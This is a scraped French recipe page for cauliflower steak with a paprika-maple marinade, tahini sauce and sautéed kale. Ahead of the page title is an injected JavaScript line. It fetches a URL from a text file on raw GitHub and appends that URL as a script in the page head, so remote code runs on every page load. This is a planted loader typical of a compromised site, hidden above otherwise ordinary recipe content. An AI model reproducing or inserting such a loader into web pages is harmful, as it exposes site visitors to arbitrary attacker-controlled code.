;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Steak de chou-fleur - Haute Nutrition
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Steak de chou-fleur

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Prep Time 10 mins
Cook Time 15 mins
Total Time 25 mins
Course Side Dish
Servings 2
Calories 461 kcal

Ingredients
  

  • 1 chou-fleur petit
  • 1 tasse chou kale en morceau

Marinade chou-fleur

  • 1 c. à soupe sirop d'érable
  • 2 c. à soupe paprika fumé épicé ou non
  • sel
  • 2 c. à thé eau
  • 3 c. à soupe huile d'olive
  • Sel au goût

Sauce tahini

  • 1/2 boîte pois chiche
  • 1 c. à soupe huile d'olive
  • 2 c. à soupe citron jus
  • 2 c. à soupe pois chiche
  • 2 c. à soupe tahini
  • 1 c. à thé sel

Instructions
 

  • Préchauffer le four à 425 ° F. Réservez une plaque à pâtisserie tapissée de papier sulfurisé. Préparez le chou-fleur en coupant les feuilles vertes. Avec le chou-fleur assis sur sa tige, utilisez un couteau pour le couper en trois tranches,  de sorte que vous ayez trois "steaks",  Mettez les steaks de chou-fleur de côté.
  • Ensuite, ramassez tous les morceaux de chou-fleur restants et hachez-les finement (ou passez au robot-robot) et utiliser pour faire un riz pour un autre repas
  • Réchauffer une poêle à feu moyen-vif. Ajoutez 2 cuillères à café d'huile d'olive, et une fois chaud, ajoutez les steaks de chou-fleur. Laissez-les saisir pendant 3 à 5 minutes (cuisson pendant environ 6 à 7 minutes au total). Retirez-les une fois qu’ils ont développé une croûte dorée de chaque côté. 
    Pendant la cuisson du chou-fleur, vous pouvez assembler la marinade . 
    Dans un petit bol, mélanger 2 cuillères à thé d'eau, le sirop d'érable et le paprika. Bien mélanger. 
    Une fois que le chou-fleur est saisi, transférer les tranches  sur une plaque. . Badigeonner les chou-fleur avec la marinade des deux côtés, en recouvrant tous les coins et recoins. Mettre au four pendant 5-7 minutes ou jusqu'à tendreté.
  • Faire revenir le kale dans un peu de beurre ou d'huile d'olive 3-4 minutes.
  • Ajouter les ingrédients de la sauce tahini dans un mélangeur ou bras mélangeur
  • Servir et ajouter la sauce tahini froide